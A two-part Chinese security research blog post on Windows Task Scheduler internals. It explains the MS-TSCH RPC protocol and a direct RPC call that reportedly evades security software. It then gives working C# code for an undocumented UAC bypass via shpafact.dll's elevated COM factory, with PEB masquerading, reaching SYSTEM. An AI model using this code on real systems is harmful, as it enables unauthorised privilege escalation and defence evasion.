Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

Advanced Windows TaskScheduler Playbook

By: zcgonvh
21 June 2022 at 08:08

Part.1 basic

0x00 前言

Advanced Windows TaskScheduler Playbook

这个系列是关于Windows计划任务中一些更为本质化的使用,初步估计大概四章。

相比于工具文档或技术文章,我更倾向于将这几篇文章作为传统安全研究的思维笔记,一方面阐述研究过程与思维逻辑,另一方面记录研究成果落地为实战工具的过程。

武器化也好安全开发也罢,将理论基础作为依据,以研究成果作补充,从实战效果作证明的三板斧不能变。

希望在使用之余,能为大家带来研究思路上的启发。

0x01 现象

对Windows对抗有一定研究的,大多都接触过计划任务的相关知识。

作为文档化的组件之一,好处是有完整的官方文档https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page作为参考,例如我们可以几乎不费力气找到很常用的登录自启动代码https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---,稍作修改即可直接使用。

坏处是,文档太长了,面向对象的代码也太复杂了(相对于脚本尤其是安全工具而言)。以上文登录自启动的代码为例,十几个API调用,无故引入且无法去掉的taskschd.dll导入,为什么普通用户执行不成功,S-1-5-32-544是什么,TASK_LOGON_GROUP的定义又在哪?

好在我们是安全研究者,安全研究更擅长从结论/状况反推原因,现在来发挥所长:

我们知道计划任务可以通过UI或者命令行方式进行创建,其参数和选项大部分是对应的。

我们知道计划任务可以通过ITaskService接口或是TaskSchedulerClass类以及一系列对象进行操作。

我们知道计划任务可以导出一个XML,通过UI或是命令行均可再将其导入。

我们知道每一个计划任务文件都存放于%SystemRoot%\System32\Tasks目录下,内容和导出的XML完全相同。

所以,从安全研究的角度,这里可以提出一个问题:计划任务的本质是什么?是那些类,还是XML?

如果是类的话,那么XML在其中充当着什么角色,是如何解析的?

如果是XML的话,那么类充当的又是什么角色?

0x02 依据

虽然Windows提供了绝大部分符号,但在此时还没有调试Windows服务的必要。我们在横向移动的过程中依然会用到计划任务程序,那么首先抓个包:

Advanced Windows TaskScheduler Playbook

看到了满屏的RPC调用,对其解密后可以看到以下信息:

Advanced Windows TaskScheduler Playbook

我们看到了几个重点,首先调用号(Opnum)为1;其次RPC Stub Data即调用的参数中明显出现了新任务名称,以及随后的XML。

windows task scheduler rpc为关键字搜索,我们可以找到MS-TSCH协议https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/21e8e86e-ee5a-469d-917f-28a41f3c25a4,依文档所述,这是建立在RPC协议之上、用于远程对计划任务进行增删改查的接口,同时,我们也看到了熟悉的ITaskSchedulerService

Advanced Windows TaskScheduler Playbook

参考ITaskSchedulerService SchRpcRegisterTask (Opnum 1)https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167一章,对比参数可基本进行确认:

Advanced Windows TaskScheduler Playbook

最后,以impacket作为佐证,众所周知atexec.py采用计划任务方式进行利用,其中创建远程计划任务同样通过SchRpcRegisterTask调用:

Advanced Windows TaskScheduler Playbook

于是,我们得到了一个理论依据:微软通过MS-DCERPC协议,在上层构建了MS-TSCH协议,该协议通过XML作为参数,实现了对计划任务的管理。

0x03 本质

有了MS-TSCH作为理论依据,让我们换个思路,尝试从设计者角度进行思考:

(现在,你是一名架构师了)

假设现在一无所有,你会如何设计一个计划任务程序?

首先,所有人都可能调用计划任务,意味着进程应当常驻后台;低权限用户并不能以高权限用户身份进行操作,所以进程需要高权限,并实现模拟机制;高权限后台进程要考虑到特权提升的问题,所以需要存在合理的鉴权机制;计划任务不涉及硬件管理,也并非系统运行所必需,所以无需进入内核。

其次,接受其它进程调用需要有一个合理的通信机制。Windows进程间通信方式众多,出于鉴权考虑,命名管道和alpc均可作为可选项;在易用性方面,alpc和命名管道均有RPC上层封装可用;在性能方面,alpc是毫无疑问的首选(详参微软官方博客alpcport相关)。

之后,出于管理需要,需要支持远程调用。考虑到稳定性,远程通信的方式大多建立在TCP上层;考虑到防火墙与安全性因素,支持加密的HTTPS/SMB/RPC/DCOM是几个可选项;鉴于远程管理往往有着最小配置与降级原则,RPC由于可独立配置、能够通过ncacn_np使用SMB协议通信且不受额外选项干扰,在此优于DCOM;鉴于API统一的原则,统一了本地通信与远程通信的RPC是唯一可选项。

最后,考虑到拓展的需要,需要可拓展的存储方式。考虑到MS-TSCH至少有着十五年的历史,采用XML兼顾可读性与拓展性无可厚非。

于是,有了基于MS-DCERPC与直接XML传递的MS-TSCH协议。

在微软的实现中,Schedule服务以SYSTEM权限运行,同时拥有SeImpersoante、SeAssignPrimaryToken等特权提供不同用户权限的切换。服务通过注册ncalrpc、ncacn_np(atsvc)以及向epmapper注册三种方式公开了本地与远程的RPC调用端点(EndPoint),为调用方提供MS-TSCH协议规定的服务。

好的,我们有了一个通过XML进行通信、且会进行透明鉴权的计划任务服务。

现在,把思路再次转回调用者。

(现在,你是一名程序员。这个功能很重要,怎么实现没人管,明天上线)

不可否认,对照模板编写XML这一做法,对于懒人(我特指初级代码开发人员,无贬义)固然有着无以伦比的方便。但对接过API的都知道,世界上第一痛苦的API就是调用万能接口,第二绝对是通过XML进行数据传递。

MS-TSCH出生在至少十五年前,很不幸,两毒俱全。来想象一下你是个防守方,现在应用一个临时缓解措施,需要建立并下发以下计划任务监控:当事件ID 1234触发时,执行powershell命令调用某个API。

想到要看协议文档就很头疼对吧,想到要写C来调用RPC就更头大了对吧。

所以微软通过COM,在Taskschd.dll内对MS-TSCH进行面向对象封装,其CLSID0F87369F-A4E5-4CFC-BD3E-73E6154572DD,并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。

为了支持脚本功能,为这个类注册了名为Schedule.ServiceProgId,并实现了IDispatch接口,使得VBS/Powershell等脚本语言能够进行快速调用。

这些是纯粹的封装与帮助类,和实际的协议完全无关。

到这里,TaskScheduler服务(Service或RPC EP)的本质也就呼之欲出:鉴权,接收一个XML(无论是帮助类生成的还是自己构建的),注册到自己业务环境内。

从这个角度看来,计划任务的本质和传统WEB并没有任何区别,甚至可以直接用下面这张图进行类比:

Advanced Windows TaskScheduler Playbook

RPC对应HTTP,OPNUM对应Action/Method,XML对应Body。语法、语义、时序完全对应,是的,完美。

实际上,除却纯粹二进制的领域,至少一半的Windows组件能够用这样的方式进行类比。

最后,我们把思维转回安全角度。

(放开我,我是信息安全工程师.jpg)

从攻击者视角看,由于绝大部分文档都仅仅讲述对COM API的调用,进而可猜想绝大部分防御措施会针对Taskschd.dll,通过RPC进行绕过可能是一个可行的突破方案。

而从防御者视角看,绕过Taskschd.dll这一wrapper可能会对自身防御体系造成绕过甚至击穿(这里“击穿”二字绝非危言耸听)。

0x04 COM

了解到部分本质之后,我们开始进行更为简洁,更贴近于安全思维的调用。

(不要忘记,我们已经把思维转换回了安全角度)

在参考c++版本示例代码的时候,我们可以看到微软同时提供了XML参考:https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--xml-,并提示了可以使用ITaskFolder::RegisterTask通过XML直接注册计划任务。

随后调用ITaskFolder::RegisterTask来替代之前的繁琐方式(参考代码依然来自MSDN):

    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr))
    {
        printf("Cannot get Root folder pointer: %x", hr);
        pService->Release();
        CoUninitialize();
        return 1;
    }
    IRegisteredTask* pRegisteredTask = NULL;
    pRootFolder->RegisterTask
    (
        _bstr_t(wszTaskName),
        _bstr_t("xml"),
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(),
        &pRegisteredTask
    );

0x05 RPC

同样的,MS-TSCH 6.3 Appendix A.3: SchRpc.idlhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/96c9b399-c373-4490-b7f5-78ec3849444e提供了完整的IDL,通过编译IDL即可直接进行简单的RPC调用:

RpcTryExcept
  {
    wchar_t* pActualPath = 0;
    const wchar_t* xml = L"<!--snipped xml-->";
    _TASK_XML_ERROR_INFO *errorInfo = 0;
    SchRpcRegisterTask
    (
      schrpc_binding_handle,
      L"\\Test Task",
      xml,
      6,
      0,
      0,
      0,
      0,
      &pActualPath,
      &errorInfo
    );
  }
RpcExcept(1)
  {
    DWORD code = RpcExceptionCode(); 
    printf("RPC Exception %d\n", code);
  }
RpcEndExcept;

至少在本文发布的时候,利用直接RPC调用可以绕过相当一部分防护软件对计划任务自启动的拦截。

0x06 总结

本章从协议层面,讲述了Windows计划任务程序从设计、协议、实现均基于XML格式这一基础事实,并以此为基础介绍了更为简单方便的调用。

基础之所以是基础,在于后续相关知识与应用一定会与其具备强关联,而绝非单纯的浅显易懂。

我一直认为,编程思想与设计模式才是最基础的安全技术。在这冗长而无趣的第一章中,我们通过面向对象中抽象封装这两大基础概念,以及背后隐藏的Transport/Channel这个被微软大肆使用的名词(相信如果搜索了上面几节其中的关键字,并且看了原文就一定有印象)来从侧面分析微软的设计思想,从而能够更好地理解组件的运作方式,最终找到其中的薄弱点,并加以利用。

后续几章无一例外,均将以此为基础,来讲几个有趣的应用案例。

Part.2 from COM to UAC bypass and get SYSTEM dirtectly

捉虫:前篇文章0x03本质一节关于COM封装类的CLSID有误,应为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

公众号无法修改,在此记录并望周知。

从本文起,专有名词将以官方英文原文着重标记。

0x00 思考

让我们上一章通过对MS-TSCH进行分析理解,大致明确了微软关于计划任务程序的设计思路:以文档化XML格式作为描述、RPC协议为基础,在公开函数式RPC调用的同时,通过COM Helper实现面向对象。

编程思想与设计模式才应当是最基础的安全技术,微软在计划任务程序设计中明显体现了一个进化的思想,从面向过程进化到面向对象,这个过程就是常说的封装

让我们继续用常见的Web角度进行类比,可以理解为:

PHP5进化至PHP7。
PHP/ASP进化至Java/.Net。
JS进化至TS/ES6。

(在开发与设计层面,一些思想是统一且几乎不会改变的)

和渗透时常用的脚本或工具不同,在一个完整的系统中,无论是一套封装后的组件,或是一组完善的协议实现,其本身并没有实现之外的任何意义。只有在使用者(或称“调用方”)根据某些业务逻辑进行调用,随之多个完整的业务功能按照相关逻辑组成一套系统,此时的组件才称得上“有意义”。

(如果你认同这个观点,那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑,每一个

计划任务程序作为文档化组件之一,我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS,或是进一步利用十四年前vs2008附带的的C# Interop,再或是利用十年前用烂的的PowerShell都能够直接产生一些红队(Redteam)武器化(Weaponize)渗透测试工具(Pentesting Tools)

感谢微软提供了丰富的API为渗透测试带来方便,但回归研究者思路,我们不该忽略这一点:计划任务作为重要系统组件之一,被广泛应用于系统多个功能模块中。

所以,让我们来思考一组问题:

有哪些自带功能调用了计划任务?
这个功能可以起到什么作用?
这个功能是否进行了组件化,即可以通过某种方式进行调用?
是否存在利用或滥用的可能?

0x01 基础

在回答这个问题之前,让我们重温COM基础。

微软提供了非常完善的基础知识文档https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals,以及配套的示例代码,这些文档和代码的历史至少可以追溯至Windows 2000的时代。

(我不想在查找资料上花太多篇幅。根据个人经验,花费两天时间,拿出挖洞找链的劲头,配合写论文找参考资料的态度,将原文从头到尾啃一遍,比看十篇技术文章都要有用的多。包括你在看的这篇

参考文档顺便查漏补缺,我们重新回忆一下最为基础的知识点:

1.在设计层面,COM模型分为接口实现

例如计划任务示例代码中的ITaskService

2.区分COM组件的唯一标识为Guid,分别为针对接口的IID(Interface IDentifier)与针对类的CLSID(CLaSs IDentifier)

例如CLSID_TaskScheduler定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

3.COM组件需要在注册表内进行注册才可进行调用。通常情况下,系统预定义组件注册于HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\ClassesHKEY_CLASSES_ROOT为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes

例如计划任务组件的注册信息注册于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}

4.Windows最小的可独立运行单元是进程,最小的可复用的代码单元为类库,所以COM同样存在进程外(In-Process)进程内(Out-Of-Process)两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。

例如计划任务的COM对象为进程内组件,由taskschd.dll实现。

5.为方便COM组件调用,可以通过ProgId(Programmatic IDentifier)CLSID指定别名。

例如计划任务组件的ProgId为Schedule.Service.1

6.客户端调用CoCreateInstanceCoCreateInstanceExCoGetClassObject等函数时,将创建具有指定CLSID的对象实例,这个过程称为激活(Activation)

例如微软示例代码中的CoCreateInstance(CLSID_TaskScheduler,....)

7.COM采用工厂模式对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterfaceIClassFactory始终贯穿其中。

例如微软示例代码中的一大堆QueryInterface

现在,我们有了对COM的基本认知,接下来要在一个庞大、复杂的操作系统之中,跟踪一个微小的COM对象调用了。无论多么复杂的系统,归根结底由人开发,由编译器编译。我们知道Windows的编译器为VS,语言为微软风格的C/C++,开发者为三哥

那么来到思考时间:你是一名三哥程序猿,恒河水使你的代码和你的身体一样无比健壮。现在,你要用VS建立一个C/C++项目,里面调用计划任务做一些事。

-你会怎么写?

-#include <taskschd.h>

-为什么?

-“标准”示例如此。

很好,我们得到了第一种方式:

在所有系统组件中搜索字符串形式的0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

然后重新把思维切换回安全领域,暂时客串一番样本分析:你是一名应急响应工程师,陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本,已知其中某样本会创建计划任务,在没自动化沙箱的情况下怎样能把它揪出来进行后续分析?

-那TM还用说?ProcMon开起来、某绒刀砍它。

于是我们有了第二种方式:

跟踪注册表HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32的读取,通过日志、Hook、劫持等等方式获取调用栈。

最后,把思维切到我们最熟悉的安全开发/红蓝对抗:现在洋大人发了个框架,能随意拓展巨牛逼,能过宇宙杀软加计划任务巨好用,还有源码能抄简直是洋菩萨。唯一一个问题:不知道在哪调了计划任务,就看到一堆配置文件一堆设计模式。

-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊

我们拿到了第三种方式:

考虑到工厂与动态调用,在配置文件等静态数据中搜索0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

0x02 发现

现在,我们有三种可行方案来进行跟踪了。

思考一下三种方式的优劣:第二种动态追踪的方式能够直观的找到调用方,但一个前提是必须存在活动的调用。
计划任务功能并不是一个需要频繁调用的功能,Windows的复杂性也决定了无法手动访问每一个功能,所以不妨暂时搁置。

第一三种均可归结为静态查找,考虑到我们研究的目标基于COM,而COM绝大多数配置基于注册表,所以首先在注册表这个最大的公共配置文件内进行搜索,可以得到如图所示结果:

Advanced Windows TaskScheduler Playbook
C:\>reg query HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /s

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    (默认)    REG_SZ    Virtual Factory for MaintenanceUI
    AppId    REG_SZ    {A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\System32\MaintenanceUI.dll,-1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation
    Enabled    REG_DWORD    0x1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32
    (默认)    REG_EXPAND_SZ    %SystemRoot%\System32\shpafact.dll
    ThreadingModel    REG_SZ    Apartment

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects
    {0f87369f-a4e5-4cfc-bd3e-73e6154572dd}    REG_SZ

我们发现了一个可疑的东西:

一个由%SystemRoot%\System32\shpafact.dll实现的未文档化COM组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
一个未文档化的自定义注册表项VirtualServerObjects,其值包含计划任务组件CLSID。
Elevation@Enabled=1,意味着可以进行UAC自动提升。

接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。

0x03 分析

接下来,我们开始分析COM所实现功能,以及是否可以利用。

%SystemRoot%\System32\shpafact.dll代码量极少,让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject,COM通过固定导出函数DllGetClassObject创建实例,shpafact.dll创建了CClassFactory作为工厂类:

Advanced Windows TaskScheduler Playbook

CClassFactory作为工厂支持创建多个对象,我们的目标组件A6BFEA43-501F-456F-A845-983D3AD7B8F0并非已知的两个CLSID之一,将进入最下方CElevatedFactoryServer::CreateInstance分支:

Advanced Windows TaskScheduler Playbook

CElevatedFactoryServer::CreateInstance方法最终将直接返回CElevatedFactoryServer对象实例:

Advanced Windows TaskScheduler Playbook

CElevatedFactoryServer对象继承自IUnknown,且仅有一个对象方法ServerCreateInstance

Advanced Windows TaskScheduler Playbook

ServerCreateInstance方法签名为HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*),当REFCLSID参数已在VirtualServerObjects注册表项注册的情况下,将直接创建指定CLSID的对象:

Advanced Windows TaskScheduler Playbook

根据QueryInterface方法可得到IID_ElevatedFactoryServer为804bd226-af47-4d71-b492-443a57610b08

Advanced Windows TaskScheduler Playbook

此时我们拿到了COM调用必需的CLSIDIID虚函数表方法签名,稍作整理即可得到以下IDL

[uuid(804bd226-af47-4d71-b492-443a57610b08)]
interface IElevatedFactoryServer : IUnknown {
    HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);
};

[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]
coclass ElevatedFactoryServer {
    interface IElevatedFactoryServer;
};

0x04 调用

获取到IDL之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop代码:

[Guid("804bd226-af47-4d71-b492-443a57610b08")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevatedFactoryServer
{
  [return: MarshalAs(UnmanagedType.Interface)]
  object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}

我们需要创建提升后的(Elevated)COM对象,所以必须使用CoGetObject结合Elevation Moniker进行激活:

BIND_OPTS3 opt = new BIND_OPTS3();
opt.cbStruct = (uint)Marshal.SizeOf(opt);
opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;

随后调用ServerCreateElevatedObject方法获取ITaskService实例:

var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;

这个ITaskService实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel的值指定为HighestAvailable

<Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

使用此xml进行注册:

svc.Connect();
var folder = svc.GetFolder("\\");
var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);

以及不要忘记对当前进程PEB进行Patch:

var fake = "explorer.exe";
var fake2 = @"c:\windows\explorer.exe";
var PPEB = RtlGetCurrentPeb();
PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
RtlInitUnicodeString(pImagePathName, fake2);
RtlInitUnicodeString(pCommandLine, fake2);

PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var first = pFlink;
do
{
    LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
    if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
    {
        pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
        continue;
    }
    try
    {
        if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
        {
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
            LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
            break;
        }
    }
    catch { }
    pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);

编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):

Advanced Windows TaskScheduler Playbook

至此,我们成功的发现了一个未公开的UAC Bypass

但这并不是结束。我们前面提到了修改XML文件Principal节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于MS-TSCH 2.5.6 Principal Schema Parthttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b

根据文档所述,Principal节点可包含子节点UserId,用于提供计划任务执行时的用户身份信息,其格式可以为用户名SIDUPNFQDN

所以我们可以在XML中指定UserIdSYSTEM

<Principals>
    <Principal id="Author">
      <UserId>SYSTEM</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

随后,我们指定的命令将直接以SYSTEM身份运行:

Advanced Windows TaskScheduler Playbook

即:我们通过一次无文件UACBypass直接获取到SYSTEM权限。

0x05 原理

至此,单纯的“安全研究”至武器化落地已经结束了。

但从纯粹知识的领域,这还不够。

请把思维暂时回溯至0x01 基础一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。

我们知道经过UAC提升的COM对象需要使用CoGetObject函数,结合Elevation Moniker进行激活,这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker

参考文章代码,我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0对象仅配置了InProcServer32,这将导致代理激活(Surrogate Activation)https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation

关于代理激活有两个重要的点:首先从安全研究角度,配置了APPID的代理激活往往存在自定义权限检查。

参考文档https://docs.microsoft.com/en-us/windows/win32/com/launchpermissionhttps://docs.microsoft.com/en-us/windows/win32/com/accesspermission,默认隐式权限检查由注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermissionHKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission共同决定,其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form

所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:

$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl

将得到类似下面的结果:

BinaryLength       : 20
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 3
SecurityIdentifier : S-1-5-4
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

参考https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sidsS-1-5-4对应NT AUTHORITY\INTERACTIVE,任何通过交互式登录的用户都将授予该组身份,通过whoami /groups也能够确认这一点:

whoami /groups

组信息
-----------------

组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组
BUILTIN\Performance Log Users          别名   S-1-5-32-559 必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户                  已知组 S-1-5-113    必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。

其次,从程序设计角度,我们查看关于COM Proxy的定义。按照https://docs.microsoft.com/en-us/windows/win32/com/proxy所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。

这是一个完整的对象代理,应用且遵循代理模式,即代理对象的表现形式暴露方法调用方式与真实对象完全相同

从Web安全的角度,可以理解为ysoserial里面到处都在用的InvocationHandlerUtil返回的那个泛型对象,或是你用RetransformAgent劫持Tomcat FilterSpring Controller之后,为了不影响业务而做的那个Wrapper;从开发的角度,等同于你用过的任何AOP。

所以我们在0x04 调用所进行的操作可以翻译为:

1.我们要求COM激活器绑定至MonikerElevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER,本地COM客户端(combase.dll)将请求DCOM服务,发送一个进程外(Out-Of-Process)提升的(Elevated)激活请求。
2.DCOM根据组件注册信息(registration info)激活上下文(Activation Context),确保A6BFEA43-501F-456F-A845-983D3AD7B8F0对象可以提升(实际上这里将调用AppInfo服务),且当前用户具备激活权限(存在包含已启用组S-1-5-4显式DACL)。
3.DCOM服务在新的(new)其他的(others)提升后的(elevated) 进程中进行激活(activation)操作,创建真实对象(Real Object)
4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK),本地客户端在当前进程创建真实对象的代理(Proxy)作为实际通信目标。
5.当前进程在代理对象上调用实例方法,该方法实际上由远程对象进行处理。
6.根据方法签名,调用将返回新的ITaskService对象引用。由于ITaskService对象未实现额外的编组(Marshalling)接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)
7.本地客户端在当前进程以代理对象(Proxy Object)形式创建ITaskService对象的代理(Proxy)
8.根据MSDN所述,对象远程引用在调用方(caller)等于真实对象;根据CLSID,真实对象是一个ITaskService
9.我们在未提升进程(unelevated process)中,获取到了在提升后进程(elevated process)ITaskService对象代理,任何对代理对象的操作都将无条件转发至真实对象。
10.创建带有TASK_RUNLEVEL_HIGHEST标记或其它任意用户(例如SYSTEM)运行的计划任务。完成UAC绕过。

如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。

到这里,我们可以回答0x00中提出的问题了:

1.确实存在一个未文档化的COM,能够根据我们可控制的方式调用计划任务组件。
2.这个组件配置了UAC提升,其通过默认COM代理,在提升后的代理进程内,根据已知的白名单CLSID,创建进程内COM对象;随后通过COM代理直接返回至调用方,供未提升的进程进行调用。
3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService对象
4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。

0x06 总结

这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议与XML作为基础,结合COM基础知识作为补全;随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。

文章涉及的相关代码可以在https://github.com/zcgonvh/TaskSchedulerMisc/找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。
(另:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担)
请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么)

当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。

